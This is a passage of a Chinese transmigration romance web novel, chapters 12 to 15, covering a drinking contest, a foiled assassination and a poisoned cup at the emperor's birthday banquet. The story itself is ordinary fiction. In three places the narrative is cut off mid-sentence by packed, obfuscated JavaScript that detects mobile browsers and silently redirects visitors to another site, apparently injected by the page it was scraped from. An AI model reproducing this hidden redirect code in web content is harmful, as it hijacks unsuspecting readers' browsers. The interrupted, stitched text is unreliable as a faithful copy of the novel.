余柚一惊,下意识想抽手:“宋公子,你醉了。”
宋修筠却没放,反而微微倾身,凑近了些,两人之间的距离骤然拉近,他呼吸间淡淡的酒气混着清雅的墨香,缠上余柚的鼻尖。他望着她的眼,声音比平日里低了几分,带着醉后的慵懒与认真:“这句……再吟一遍,好不好?”
他的额头几乎要碰到她的,眼尾的红晕染着温柔,平日里清俊的眉眼,此刻因醉意添了几分缱绻。说着,他另一只手竟轻轻抬了起来,指尖擦过余柚的鬓角,似是想拂开她耳旁垂落的碎发,动作轻柔,带着几分无意识的亲昵。
余柚身子一僵,从背诗的上头状态中抽离出来,心跳陡然慌了几分,连呼吸都乱了。
“你、你真的醉了!”余柚忙偏头躲开,用力抽回自己的手腕,指尖却还留着他掌心的温意。
宋修筠被她躲开,也不恼,只是轻笑一声,身子微微晃了晃,又坐正了些,却还是望着她,眼底带着醉后的笑意,像只黏人的大型犬:“没醉……就是觉得,你说的诗句,都真好,我很喜欢……”
说着,他又伸手,似乎是想再拿一杯酒饮下,余柚连忙阻拦,二人指尖相触,她也顾不上这些了,叫来下人准备离开。
看着趴在桌上陷入混沌的宋修筠,余柚轻叹一口气。
上头了。
这个好胜心上来了。
把人给干醉了。
自己家酒楼的酒还没宣传出去。
唉。
殊不知,这一切都被不远处凉亭内的主仆二人纳入眼中。
12. 第 12 章
今日来琼林苑,摄政王本打算招募些有才华的青年,在远处凉亭坐着,听下人来报学子们的诗作。
半途瞧见余柚和宋修筠并肩走来,一同落座,言笑晏晏,脸上的笑容和轻松掩都掩不住。
甚至这个书呆子还握余柚的手腕,一看就知对余柚有不轨之心!
对这种不怀好意的人,余柚都毫不设防,但对自己,余柚却百般警惕、万般远离。
摄政王:气,好气。
*
太阳西斜。
余柚在用晚膳,余夫人坐在她对面,不经意地旁敲侧击:“柚儿今日和修筠那孩子相处得如何?愉快吗?”
余柚手中的动作不停,夹了一筷子蔬菜放进碗中,“还行,就是他酒量不太行。”
吃着吃着,余柚莫名想到了摄政王,她想念摄政王府的大鱼大肉,珍馐美味了。余大人偏爱素食,他娘又不喜欢重油重辣,府里的菜品大多清淡,偶尔有个她喜欢的菜,爹娘见她吃多了还会说对身体不好。
余柚:……
不能再想了。
再想那些美味她要吃不下饭了。
听见女儿说宋修筠酒量不好,余夫人连忙替他辩解:“这酒量不好不是缺点的,你看,酒量不好说明喝酒少,这可是优点。”
闻言,余柚狐疑地抬头看向余夫人,“娘,你很喜欢宋修筠吗?”
至今还没告诉女儿,宋修筠是她的相亲对象,余夫人视线游移,竟有些心虚,“没有,就觉得修筠这孩子挺好的,样貌不错,性格也好,还为咱们酒楼着想,是个好孩子。”
余柚颇为认同地点点头。
这倒是,人是真挺好的,就是是个诗痴,喝醉了还有点呆。
人有的时候还是不要想一些不该想的东西。
余柚对此深有共鸣。
她方才在饭桌上就不该想摄政王。
一吃完饭回到自己的院子,系统的机械音再次如鬼魂般冒了出来。
【紧急任务:摄政王将在一个时辰后被刺杀遇险,请宿主及时化解危机!】
【任务限时:两小时】
随之而来的还有熟悉的报警声,嗡嗡地在脑子响个不停。
余柚:已习惯。
余柚刚欲拿起木雕刀具的手一顿,忍不住翻了个白眼,嘴上骂骂咧咧,脚下却已经快步往院外走:“合着这摄政王的命是拴我腰上了?没我他迟早得完!”
她也不唤马车,摄政王府和余府的距离并不算远,提了裙摆快步出府,一路直奔摄政王府。守门侍卫见是她,早得了吩咐,装模作样地进去通传一番,没过一会就躬身引着她往内院去。
摄政王正倚在廊下的软榻上,指尖转着玉扳指,看似闲适,眼底却藏着几分意外和不易察的期待。
虽说余柚的话他已信了七分,但真能预料到他身上的危机,也属实让人意外。
见余柚风风火火地闯进来,也没有行礼的打算,眉头紧蹙,他勾了勾唇:“余小姐倒是稀客啊,怎的有空主动登我这王府的门?”
余柚没接他的话茬,站在三步外,语气冷硬,半点没带客气:“你一个时辰后会遇刺,自己当心点,保护好自己。”
话落,她往后退了半步,四处张望一圈,自然地坐在离摄政王最远处的座位上,有下人为她斟茶,她双手接过茶杯,握住暖手。
刚一路上走过来吹了风,还挺凉的。
“你忙你的,我坐一会,等一个时辰后你没事了我就走。”
摄政王闻言,指尖的玉扳指停住,抬眸看她,墨色的眼眸里漾着浅淡的笑意,半点没有被刺杀的惊慌,反而慢悠悠起身,朝着她走过来:“余小姐又做梦了?本王在此谢过余小姐的关心了。只是既来了,府中刚温了好酒,还有御厨新做的几样小菜,是余小姐喜爱的口味,可要尝尝?”
余柚欲喝茶的动作顿住了。
好酒,珍馐。
这四个字精准戳中了她的软肋,余府那清汤寡水的晚膳还在胃里寡淡着,尤其是摄政王府的美味她还想念着。
她心里天人交战,面上却依旧是那副抗拒的模样,皱着眉迟疑了半晌,嘴硬道:“我可不是为了吃王爷的东西,只是觉得我告知王爷危险,那这些都是王爷应当为救命恩人做的。”
摄政王低笑出声,也不点破她的口是心非,侧身做了个请的手势:“既如此,救命恩人,请。”
宴厅里早已摆好了一桌佳肴,玉盘珍馐,香气四溢,温酒的银壶腾着细烟,酒液清冽,酒香绕鼻。余柚坐下后,也不与摄政王多言,自顾自夹了菜吃,眉眼间却难掩满足——果然,摄政王府的吃食,从没让她失望过。
摄政王坐在她对面,替她斟了杯酒,自己也满上,一杯接一杯地饮,不多时,脸颊便染了醉红,眼尾泛着浅桃色,平日里冷冽的眉眼,也因酒意添了几分朦胧,倒比平日里柔和了许多。
他这是故意装醉。
余柚看在眼里,心里门儿清。
又是一个酒量不行的。
手上却依旧不停,夹了块桂花糕放进嘴里,甜香软糯,好吃得眯起眼。
“余小姐,”摄政王忽然开口,声音带着醉后的沙哑,身子微微前倾,凑近了些,“今日琼林苑,你与宋修筠……玩得可开心?”
啊?
他怎么知道的?
余柚心里咯噔一下,语气冰冷,“王爷跟踪我?”
摄政王的嗓音依旧带着哑意,缓缓解释:“本王今日去挖掘人才,比你们先到,要说跟踪也是余小姐跟踪本王。”
看来是巧合了。
余柚不解摄政王为何要问她和宋修筠的事,只抬眸看他,语气平淡:“与宋公子谈诗论酒,倒也还算愉快。”
“谈诗论酒?”摄政王重复了一遍,指尖轻轻叩着桌面,酒意上涌的模样,眼底却藏着几分探究,“他还握了你的手腕,是吗?”
听到这话,余柚也有些尴尬,没曾想那一幕都被人看去了。
老天作证。
她和甲方清清白白。
顶多是甲方喜欢她脑子里的那些诗句。
余柚捏着筷子的手紧了紧,面上依旧不动声色
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092528|195493||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,甚至依稀有些嘲讽:“不过是飞花令输多了,宋公子多喝了几杯酒,和王爷现在一样,醉了,便失态了。”
摄政王闻言,眼底的光暗了暗,又给自己斟了杯酒,仰头饮尽,酒液顺着唇角滑落,滴在衣襟上,他却似未察觉,又问:“那……在余小姐心里,宋修筠,和本王,谁更好?”
这话问得直白,带着醉后的莽撞,又藏着几分不易察的期许。
摄政王在心底默默给出这道题的标准答案:
当然是本王好,本王有钱有权有颜有情有义,还是堂堂正正的木雕徒弟,那个书呆子拿什么和本王比。
余柚:?
什么乱七八糟的。
凭什么这人问什么她就答什么?她是不是太听话了些。
想到这,余柚理直气壮地对上摄政王的视线,“我不想回答这个问题。”
摄政王看着她这副模样,心里憋着气,酒意也似更浓了些,他抬手去拿桌上的木簪——那是他方才随手放在桌上的,他亲手雕的,本打算今晚问问余柚他的技艺可有进步。
若是尚可,那便赠与余柚了,虽说有些简陋,但也是他的心意,余柚要是不满意,他再附赠一箱黄金当学费便是。
却不料指尖一滑,木簪的尖儿擦过他的掌心,划出一道浅浅的血痕,血珠瞬间冒了出来,染红了白皙的掌心。
“嘶——”
他低低抽了一声气,似是疼得蹙眉,却又强忍着,一副醉后无力的模样。
余柚余光瞥见那抹红,心头猛地一跳,下意识地就想上前,脚步都动了半步,却又猛地想起自己的任务。
任务对象受伤了?
这道题有标准答案!
她想起自己该有的态度,硬生生停住了,脸上又恢复了那副冷淡的模样,只是见到了血,语气里不自觉地添了几分不易察的急切:“活该!叫你不小心!”
拿到一半的分数。
另一半她需要背地里瞧瞧给摄政王买上好的金疮药!
听出来了语气里的焦急,摄政王抬眸看她,眼底藏着一丝得逞的笑意,面上却依旧是醉后的迷茫与委屈,举着受伤的掌心,凑到她面前,声音软了几分,带着几分撒娇的意味:“疼……余小姐,帮我看看。”
那道伤口不算深,却红得刺眼,血珠还在慢慢渗出来,滴在桌布上,晕开小小的血点。
余柚看着他掌心的伤,她从小都没受过什么伤,哪见过这么多血,面上虽还是硬邦邦的,但却有些压不住心里的关心:“一点小伤,有什么好看的?王府里的府医又不是吃干饭的,喊来便是。”
好多血!
医生在哪!
快来啊!
话虽硬邦邦的,但她的目光却始终落在那道伤口上,指尖微微蜷着,显然是放心不下。
宴厅里的气氛一时有些微妙,温酒的烟还在腾着,酒香混着淡淡的血腥味,缠在两人之间。摄政王看着她口是心非的模样,眼底的笑意愈深,心里的那点闷气,也烟消云散了。
算了。
这人没心没肺的。
13. 第 13 章
摄政王瞧着余柚眼底藏不住的慌,也不继续逗弄,低笑一声扬声唤人传府医。
不过片刻,府医便捧着药箱匆匆赶来,见摄政王掌心的伤,忙躬身行礼后上前诊治,先拿温水拭了血,又用银针消了毒,最后敷上金疮药缠上纱布,动作麻利得很。
余柚坐在一旁,看似低头拨弄着杯中的酒液,余光却一直黏在摄政王的手上。
脑子里还天马行空地在想:
这些血应该不会导致缺血吧?
她来葵水的血可比这个多多了。
直到见纱布缠好,余柚那揪着的心才悄悄松了松,面上依旧摆着冷淡的模样,仿佛方才那副紧张的样子只是摄政王的错觉。
府医退下后,宴厅里的气氛倒比先前平和了些,没了方才的试探与僵持,只剩温酒的轻烟袅袅。
摄政王靠在椅背上,闭着眼养神,像是在缓解醉意,余柚也不说话,自顾自吃着桌上的点心,偶尔抿一口酒,心里默默数着时辰——就等这一个时辰过了,确认他没事,她就溜之大吉!
窗外的天色渐渐暗沉了,檐角的宫灯被下人点起,暖黄的光洒进厅内,落在两人身上,添了几分静谧。偶尔有风吹过,带着院中的桂花香,混着酒香,竟不觉得难熬。
不知过了多久,余柚隐隐泛起一阵困意,骤然系统的机械音将她的大脑一瞬间凉醒:
【紧急任务已完成。】
她心头一松,几乎是立刻起身,动作干脆利落,对着摄政王拱了拱手,语气依旧冷硬:“时辰到了,王爷无事便好,我告辞了。”
快走快走,吃好喝好了,这摄政王还有些醉了,尽说些奇奇怪怪的话,再不走她要尴尬了。
话音落,她也不等摄政王回应,转身就往厅外走,脚步轻快,像只急于归巢的小鸟,生怕晚一步就被人拦下。
摄政王听见她的声音,缓缓睁开眼,盯着她匆匆离去的背影,眼底漾着温柔的笑意,指尖轻轻摩挲着掌心的纱布。
好像也不怎么疼。
余柚出了摄政王府,晚风一吹,酒意散了些,差点就直接回府了。
在系统的提醒之下才想起来她还有一半的标准答案没写。
脚步方向一换,拐进了街边一家亮着灯的药铺。她推门进去,掌柜的见是个娇俏的姑娘深夜来买药,愣了愣,忙上前询问。
“有没有最好的金疮药?要那种不留疤、好得快的!”余柚伸手比划着掌心的确小,“就这么点伤,要最好的最管用的!”
掌柜的连忙应着,转身从药柜里拿出一小罐药膏,递到她面前:“姑娘,这是本店最好的金疮药,外敷的,消肿止痛快,还不留疤,贵是贵了点,但效果绝好。”
余柚也不问价钱,直接付了银子,捏着那罐药膏,又匆匆往摄政王府的方向走。她绕到王府侧门的墙角,左右看了看没人,才踮着脚,将药膏放在墙根的石墩后,又捡了块小石子压在上面,生怕被风吹走。
做完这一切,她拍了拍手,心里默念:系统任务要求暗搓搓关心,这样应该算吧?既没明着送,也尽到了心意,完美。
至于这么隐蔽摄政王能不能收到?
这就不关她的事了。
你就说她关心没关心吧!
余柚再次警惕地看了一圈,确认没人发现,才猫着腰溜了,脚步轻快地回了余府,仿佛从未离开过。
而摄政王府内,摄政王待余柚走后,便敛了醉意,眼底清明一片,召来侍卫问道:“她出府后,去了何处?”
侍卫躬身回禀,将余柚拐进药铺、买了金疮药又绕到侧门放药膏的举动一一说来,末了还呈上那罐被石子压着的药膏。
摄政王接过那罐小巧的药膏,指尖摩挲着冰凉的瓷罐,打开盖子,一股清冽的药香扑面而来,比府医的金疮药香得更浓,显然是上好的药材所制。
他看着罐中细腻的药膏,眼底的笑意浓得化不开,连带着掌心的伤口,似乎都不觉得疼了。
这丫头,嘴上说着活该,心里倒比谁都关心。
他抬手,轻轻碰了碰缠在掌心的纱布,低声轻笑,声音竟有些温柔,“没心没肺?倒也未必。”
一旁的侍卫见自家王爷这副模样,头埋得更低了,心里默默想着,这位余小姐,在王爷心里果真不一般,怕是迟早要成为摄政王妃的。
摄政王将药膏小心收好,放在床头的矮几上,目光落在窗外的月色里,唇角的笑意始终未散。
*
那日过后。
余柚难得过了几日安生日子,系统的机械音不再出现,甲方也不再上门拜访,余柚心情好了就出门打理一下酒楼的事宜,心情没那么好那就溜溜阿圆,或者买买物价取悦自己。
这样的日子,好不快活。
没过多久,余柚的快乐生活就结束了,因为……
皇帝寿辰要到了。
上次余柚在宫廷宴席上的出格行为,让余大人对她十分警惕,这次皇帝寿辰比之上次的宴席的重要程度只多不少。余大人花重金请来宫里的教习嬷嬷,天天教导余柚规矩,只希望她那天别再整什么幺蛾子。
余柚每天和绷着老脸的老嬷嬷面对面沟通:见到哪位贵人应该怎么称呼,见到哪位殿下应该如何行礼,不能看谁的眼睛,不能盯着谁看超过多少秒……
无数的教条规矩被灌输进脑袋,余柚只觉得自己要炸了。
余柚:从未感觉古代这么封建过……
像最疼她的娘亲求助,也只收到一个爱莫能助的眼神,余柚就这样被折磨了足足七日,终于迎来了皇帝的寿辰。
当今小皇帝登基才三年,朝政多由摄政王辅佐,太后却一心想扶持外戚势力,两人明争暗斗从未停歇,这场寿宴的情形也是入学,太后摄政王相对而座,颇有几分针锋相对的意味。
余柚跟着余大人和余夫人踏入太极殿时,殿内早已灯火通明,丝竹之声悠扬婉转。
鎏金梁柱上缠绕着红绸,殿中摆满了奇花异草,文武百官携家眷按品级落座,衣香鬓影,觥筹交错,一派奢华繁盛之景。
今日她穿着一身藕荷色绣折枝莲的宫装,是余夫人特意寻巧手绣娘赶制的,既不失大家闺秀的端庄,又衬得她眉眼灵动,她好奇地四处张望,但也不敢多做停留,生怕坏了嬷嬷教的礼数,平白惹怒了贵人。
见她有些不安分的模样,余大人低声叮嘱:“一会少说话,多吃菜,太后与摄政王那边,莫要多看。”
余柚乖巧点头,目光却忍不住在殿中扫过——太后端坐在上首左侧,凤冠霞帔,面色威严,端着的是宽宏的气度,但看向摄政王的眼神带着几分不易察的冷意。
而摄政王身着玄色蟒袍,腰束玉带,正与身旁的大臣说着什么,侧脸线条冷硬,周身气场强大,与那日在府中醉醺醺的模样判若两人。
两人目光偶尔交汇,没有半分亲属间的和缓,空气中都似有看不见的火花在碰撞。余柚心里嘀咕:这两人在皇帝寿宴上都不稍微藏着一点吗?
她正看得出神,忽然瞥见不远处的文官席上,宋修筠正朝她遥遥拱手,脸上带着温文尔雅的笑意。
余柚想起那日琼林苑的飞花令,也礼貌性地抬手回了个礼,唇角弯了弯——宋修筠穿一身天青色官袍,倒比平日里的白袍更显俊朗,只是想想那副诗痴模样,想来此刻心里也在琢磨着寿宴应景的诗句。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092529|195493||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>就在这时,摄政王似乎察觉到她的目光,抬眸望了过来,墨色的眼眸在人群中精准锁定她,还微微颔首,算是打了个招呼。
余柚心里警铃大作,瞬间想起自己的任务核心——保持表面抗拒。她立刻收回目光,假装没看见,转而拿起面前的玉勺,舀了一勺甜汤慢慢喝着,耳根却悄悄热了。
哼,打什么招呼啊?
谁理你!
寿宴流程按部就班地进行,献寿、歌舞、祝酒,一派热闹景象。小皇帝年幼,坐在龙椅上规规矩矩,偶尔看向摄政王的眼神带着警惕夹杂着依赖,却又被太后不动声色地打断。
轮到百官祝酒时,宋修筠上前献上一首祝寿诗,辞藻华丽,寓意吉祥,引得皇帝和太后连连称赞,只是摄政王却微微摇头,显得对诗句颇为不满的模样。
余柚一边吃着桌上的精致点心,一边暗自庆幸:幸好她不用献礼或者表演才艺。
虽然她总说宋修筠是个诗痴,但她是十分肯定宋修筠的诗学才华的,她学过那么多品鉴诗词的方法,刚刚宋修筠的那首诗,她就觉得很好,大家的想法想必和她也一样。
但这位摄政王竟然不满意?
这要是她去献礼,本就有些得罪这位王爷,那摄政王不得当众对她的礼物表示嫌弃?
幸好幸好。
没丢这人。
她心情正好,愉快地品鉴宫宴美食,比之摄政王府的珍馐有过之而无不及,不愧是最奢靡的紫禁城。
这时,系统的机械音却突然在她脑海中炸响,带着急促的警报声:
【紧急任务:摄政王手中酒盏已被下毒,将在三分钟后饮下,将危及性命!请宿主立即阻止!】
【任务限时:3分钟。】
余柚吓得手一抖,手中的玉勺“当啷”一声掉在碗里,甜汤溅出几滴,落在裙摆上。她猛地抬头看向摄政王,只见他指尖捏着酒盏,已经微微倾身,似乎正要饮酒。
余柚的心瞬间提到了嗓子眼。
她捏着裙摆的手指微微泛白,脑子里飞速运转:怎么办?怎么办?怎么阻止他饮酒?
这会她已经顾不了什么抗拒人设了,直愣愣地盯着摄政王看,似乎这样就能想到怎么完成紧急任务。
摄政王似乎察觉到她的异样,目光再次投向她,眉梢微挑,像是在疑惑她为何突然失态。他手中的酒盏已经凑到了唇边,温热的酒气似乎都能透过空气飘过来。
余柚急得额头都冒了薄汗,眼看着摄政王就要喝下这杯酒,她猛地站起身,声音清亮,语气带着急切:“摄政王殿下!”
依旧是少女的声音,依旧是响彻大殿。
非常熟悉的一幕。
众人不由得想起上次宫宴的情景,所有人的目光瞬间聚焦在她身上,包括太后、皇帝,还有一脸错愕的宋修筠。
他们记得上一次,响彻大殿的话语是:
“他,我死都不嫁。”
惊疑地目光都落在余柚身上,此刻大家心底有同一个疑问:
这位余小姐好胆魄。
莫非还打算再惹怒摄政王一次吗?
余大人在一旁急得都想立刻跪下了,一张脸像是立刻长出了好几条皱纹,这闺女怎么这么不省心,这又要闹哪出,再来一次得罪王爷他可就不一定能挺过去了啊!
摄政王的动作顿住了,眸色深沉地看着她,等着她的下文。
余柚迎着众人探究的目光,强装镇定,她其实还没想好合适的理由……
脑子飞速转动,时间一分一秒过去,她盯着摄政王那张俊美的脸,实在没想到说辞,眼一闭心一横,脱口而出:
“王爷今日好生俊朗。”
14. 第 14 章
话音落下,太极殿内陷入了一片诡异的寂静。
所有人都愣住了。
方才还觥筹交错、歌舞升平的大殿,此刻仿佛被施了定身术。文武百官、皇亲贵胄们齐齐僵在原地,手中的酒杯悬在半空,看向余柚的眼神复杂得难以形容——有震惊,有茫然,更多的是一种“这姑娘是不是疯了”的不可思议。
就连正在奏乐的乐师们,手中的乐器都忘了继续弹奏,余音袅袅消散在空气中。
余柚自己也僵住了。
她能感觉到无数道目光像针一样扎在她身上,从四面八方涌来,探照灯似的将她从头到脚照了个遍。脸颊“腾”地一下烧得通红,从耳根一路蔓延到脖颈,热辣辣的,几乎能煎熟鸡蛋。
她刚才……说了什么?
“王爷今日好生俊朗”?
老天爷啊!
她怎么会说出这种话!
余柚恨不得当场挖个地洞钻进去,再也不出来。她僵硬地站在原地,手指紧紧攥着裙摆,指甲几乎要嵌进掌心。脑子里嗡嗡作响,系统的机械音还在执著地响着倒计时:
【剩余时间:2分15秒】
可她的理智已经被这句石破天惊的“夸赞”炸得粉碎。
高座之上,太后最先反应过来,保养得宜的脸上浮现一丝意味深长的笑意,目光在余柚和摄政王之间来回流转,端着酒杯的手轻轻晃了晃,却没有说话。
年幼的皇帝睁着一双清澈的眼眸,好奇地看向余柚,又扭头看看身旁的摄政王,小小的脸上写满了困惑——这位余小姐,怎么和传闻中不太一样?上次不是还说她宁死都不愿嫁给皇叔吗?
摄政王的动作彻底停住了。
他捏着酒盏的手指微微一顿,那已经凑到唇边的杯沿停在半空,温热的酒气氤氲而上,模糊了他此刻的表情。墨色的眼眸从酒盏上抬起,直直地看向殿中那个面色绯红、手足无措的少女,眼底的情绪翻涌,复杂得连他自己都难以分辨。
惊讶?
有。
错愕?
也有。
但更多的是一种……猝不及防的悸动,像一颗石子投入平静的湖面,漾开一圈圈细碎的涟漪。
那句“王爷今日好生俊朗”还在耳边回荡,少女的声音清亮又带着几分不易察的颤抖,明明是在众目睽睽之下说出的话,却像羽毛一样轻轻搔过心尖。
萧绝缓缓放下手中的酒盏,动作很轻,杯底触及桌面时发出“叮”的一声脆响,在寂静的大殿里格外清晰。
他想起余柚先前那些奇怪的行径,想起她总能在关键时刻“预知”他的危险,想起那罐被她偷偷放在墙角的金疮药,想起她总是口是心非、又别扭又倔强的模样。
她不是讨厌他吗?
不是说死都不嫁吗?
那现在这句突如其来的“夸赞”,又是为何?
电光石火间,一个念头闪过脑海:这杯酒,有问题。
余柚的预知梦让她知道这酒的问题,此刻她在阻止他喝下这杯酒。
萧绝的眸光陡然转深,盯着那盏琥珀色的液体,眼底的温和褪去,取而代之的是属于摄政王的冷锐与审视。他不动声色地将酒盏往旁边推了推,指尖在桌面上轻轻叩了叩。
一旁的汪公公立刻会意,躬身上前,借着添酒的动作,用只有两人能听到的声音低语:“王爷?”
“撤下去,”萧绝的声音压得很低,语气平静却不容置疑,“查。”
“是。”汪公公应声,动作麻溜地将那盏酒撤下,换上了一杯新的,整个过程行云流水,并未引起太多人注意——所有人的注意力,还牢牢锁在余柚身上。
余柚此刻正处在水深火热之中。
她能感觉到亲爹余大人投来的眼神,那种混合着震惊、焦急、惶恐和“女儿你是不是被鬼上身了”的复杂情绪,几乎要把她淹没。余夫人也担忧地看着她,轻轻扯了扯她的袖子,示意她赶紧坐下。
宋修筠坐在不远处的文官席上,此刻也正望着她,那双总是盛满诗书清气的眼眸里,此刻是毫不掩饰的讶异与困惑。他似乎想说什么,唇动了动,却终究没有出声,只是眉头微微蹙起。
余柚深吸一口气,强迫自己冷静下来。
【剩余时间:1分30秒】
系统倒计时还在响,但摄政王已经放下了那盏酒——她的目的达到了。
虽然过程尴尬得让她想当场挖个洞。
她定了定神,顶着四面八方投来的目光,硬着头皮又补充了一句:“臣女……臣女失言了,只是见王爷今日气度非凡,一时情不自禁……”
声音越说越小,最后几乎细若蚊呐。
这话说出来,连她自己都不信。
果然,殿内众人脸上的表情更加精彩了。有人强忍着笑意,有人摇头叹息,有人交头接耳窃窃私语,看向余柚的眼神愈发古怪——这位余小姐,莫不是终于想通了,要对摄政王投怀送抱了?
太后轻笑一声,打破了殿内的沉寂:“余小姐倒是心直口快。不过摄政王仪表堂堂,风姿卓越,也难怪余小姐会如此称赞。”
这话说得巧妙,既给了余柚台阶下,又暗中带了几分揶揄。殿内气氛终于松动了一些,乐师们重新奏起乐,歌舞继续,只是众人看向余柚和摄政王的目光,依然带着挥之不去的探究。
余柚如蒙大赦,赶紧坐下,低着头再不敢乱看。她能感觉到脸颊还在发烫,心跳快得像要从胸腔里蹦出来。
【叮!紧急任务已完成。】
系统的机械音终于响起,余柚长长松了口气
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17121165|195493||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,几乎瘫软在座位上。
可还没等她缓过劲来,系统的警报声又响了起来:
【警告!宿主抗拒值急速下降,目前已降至60%,请宿主注意维持人设!】
余柚:“……”
大爷的!
怎么这么难伺候?
她真是欲哭无泪。
刚才那种情况,她能怎么办?难道眼睁睁看着摄政王喝下毒酒,任务失败世界崩塌吗?
可系统又不听解释,只能自己憋着。
接下来的宴席,余柚全程食不知味。她低着头,小口小口吃着面前的食物,味同嚼蜡。
偶尔抬头,总能对上几道探究的目光,尤其是摄政王那边——她甚至能感觉到那道视线一直若有若无地落在她身上,带着审视,带着玩味,还带着一丝她看不懂的深意。
她更不敢抬头了。
宴席进行到后半段,气氛逐渐恢复正常。百官敬酒,歌舞升平,似乎方才那场小插曲已经被众人遗忘。只有余柚知道,自己那句石破天惊的“夸赞”,恐怕已经成了今晚宫宴上最精彩的谈资。
寿宴结束时,已是月上中天。
余柚跟着爹娘起身离席,脚步匆匆,恨不得立刻飞出这座让她丢尽脸面的太极殿。可刚走出殿门没多远,身后就传来一道清润的嗓音:
“余小姐请留步。”
是宋修筠。
他快步走上前来,天青色的官袍在月光下泛着淡淡的光泽,俊朗的脸上带着温和的笑意,只是眼底还残留着几分未散的困惑。
“宋公子。”余柚停下脚步,勉强挤出一个笑容。
余夫人见状,和余大人交换了一个眼神,揶揄一笑,拉着他识趣地往前走了几步,给二人留下说话的空间。
“方才在殿上……”宋修筠斟酌着措辞,语气温和,“余小姐可是有何不适?在下见你神色有异。”
他是真的担心。
那杯毒酒的事余柚自然不能明说,只好含糊道:“没什么,只是突然觉得有些头晕,现在已经好多了。”
宋修筠点点头,眼中的担忧并未完全散去:“那就好。宫宴冗长,确实容易疲乏。”
顿了顿,他又道,“那日琼林苑之后,在下一直想寻机会再与余小姐探讨诗词。不知余小姐近日可有空闲?”
余柚正要回答,一道低沉冷冽的嗓音却突兀地插了进来:
“余小姐怕是没空。”
两人同时转头,只见摄政王萧绝不紧不慢地踱步走来。他已经换下了那身庄重的蟒袍,穿着一袭墨色常服,乌发用玉冠束起,月光洒在他身上,衬得他身形挺拔,气质清贵,确实……俊朗非凡。
余柚的脸又热了起来。
她下意识地别开视线,不敢与他对视。
15. 第 15 章
萧绝走到近前,目光淡淡扫过宋修筠,最后落在余柚身上:“本王有几处木雕技法上的疑惑,想请教余小姐。不知余小姐明日可否来王府一趟?”
这话说得客气,语气却是不容拒绝的。
宋修筠脸上的笑容微微一僵,看向摄政王的眼神多了几分复杂。他张了张口,似乎想说什么,但终究只是躬身行礼:“下官见过王爷。”
萧绝“嗯”了一声,算是回应,目光却始终锁在余柚身上:“余小姐意下如何?”
余柚能说什么?
她能拒绝吗?
她敢拒绝吗?
脑子里系统的警告音还在响,抗拒值已经跌到55%了,再跌下去,要是跌要50%以下任务就要失败了。
她抿了抿唇,硬着头皮道:“臣女……遵命。”
语气干巴巴的,带着几分不情愿,勉强维持住了最后一点抗拒人设。
摄政王的唇角几不可察地弯了弯,似乎很满意她的回答:“那本王明日便在府中等候余小姐大驾。”顿了顿,他又道,“夜色已深,余小姐若不介意,本王送余小姐一程?”
“不、不用了!”余柚连忙摆手,“臣女与爹娘一同回去就好,不劳烦王爷。”
“不麻烦。”萧绝却像是没听出她的拒绝,自顾自道,“正好本王也有些话想与余小姐说说。”
说着,他已经抬步往前走去,那架势分明是已经做了决定。
余柚站在原地,进退两难。
宋修筠看着她,轻声道:“余小姐,那在下便先告辞了。改日再叙。”
“宋公子慢走。”余柚勉强笑了笑,看着宋修筠转身离去的背影,心里五味杂陈。
她叹了口气,认命地跟上了摄政王的脚步。
月光如水,洒在宫道的青石板上,泛着清冷的光泽。宫宴散后,百官和家眷们陆续离开,宫道上人影稀疏,只有几盏宫灯在夜风中轻轻摇曳。
余柚和摄政王并肩走着,中间隔着不远不近的距离。汪公公和侍卫们远远跟在后面,既不敢靠得太近,也不敢离得太远。
夜风微凉,吹散了宴席上的酒气和燥热。余柚拢了拢披风,低着头看自己的脚尖,不知道该说什么。
她还在为刚才那句“夸赞”懊恼,脸颊到现在还发着烫。一想到明天全京城的人都会知道,礼部尚书家的女儿在皇帝寿宴上当众夸赞摄政王“好生俊朗”,她就恨不得立刻找个地方躲起来,再也不见人。
莫名的。
说“死也不嫁”她就只是有些害怕,但这一句夸奖倒让她无所适从了。
“余小姐方才在殿上,”萧绝忽然开口,声音在寂静的夜风中显得格外清晰,“为何突然说那句话?”
余柚心里一紧。
该来的还是来了。
她攥紧了披风的边缘,脑子里飞速运转,试图编出一个合理的解释:“臣女……臣女就是觉得,王爷今日确实与平日不同,一时失言……”
“是吗?”萧绝的声音里带着几分玩味,“那余小姐觉得,本王平日是什么模样?”
余柚噎住了。
她总不能说“平日像个随时会抽筋扒皮的活阎王”吧?
她憋了半天,才憋出一句:“平日……也俊朗。”
说完她就想咬掉自己的舌头。
萧绝低低笑了一声,那笑声在夜色中漾开,带着几分愉悦:“余小姐今日倒是很会说话。”
余柚的脸更烫了。
